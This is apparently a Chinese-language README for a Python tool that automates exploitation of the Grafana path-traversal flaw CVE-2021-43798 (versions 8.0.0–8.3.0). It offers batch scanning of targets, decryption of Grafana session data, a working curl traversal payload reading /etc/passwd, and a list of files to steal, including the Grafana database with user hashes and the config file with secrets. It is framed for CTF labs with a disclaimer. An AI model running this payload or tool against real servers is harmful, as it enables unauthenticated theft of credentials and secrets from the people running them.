🚀 Grafana LFI 漏洞利用 (CVE-2021-43798)
用于自动化利用 Grafana(版本 8.0.0 至 8.3.0)本地文件包含(LFI)漏洞的 Python 3 脚本。该漏洞利用工具允许未经身份验证地进行目录遍历,读取操作系统中的敏感文件。 ✨ 特性
Python 3.10+ 兼容:已修补以适用于现代 Python 版本(修复了 collections.Mapping 问题)。
批量扫描:能够通过 targets.txt 文件处理多个目标。
数据解密:包含用于处理 Grafana 会话和加密数据的模块。
针对 CTF 优化:输出清晰直接,适用于 HackTheBox 和 TryHackMe 等实验室。
🛠️ 需求与安装
由于存在旧库依赖,建议安装以下软件包: Bash
pip3 install PyInquirer termcolor requests pycryptodome --break-system-packages
注意:如果你使用 Python 3.10 或更高版本,脚本包含针对 collections.abc 兼容性的自动修补程序。
🚀 使用方法
配置目标:将 URL(含端口)添加到 targets.txt 文件中。
Bash
echo "http://10.129.234.47:3000" > targets.txt
运行漏洞利用:
Bash
python3 exploit.py
🎯 常见读取目标 (LFI)
运行后,你可以尝试读取关键文件,例如:
/etc/passwd(系统用户)
/var/lib/grafana/grafana.db(包含用户哈希的数据库)
/etc/grafana/grafana.ini(配置和机密信息)
💡 替代方法(手动)
如果你不想使用脚本,可以直接通过 curl 利用 LFI: Bash
curl --path-as-is "http://<TARGET_IP>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
⚠️ 免责声明
本仓库仅供教育目的及在受控环境(CTF、实验室)中使用。作者不对工具的任何滥用行为承担责任。 🏷️ 标签
grafana, cve-2021-43798, lfi, exploit, pentesting, hackthebox, python3, directory-traversal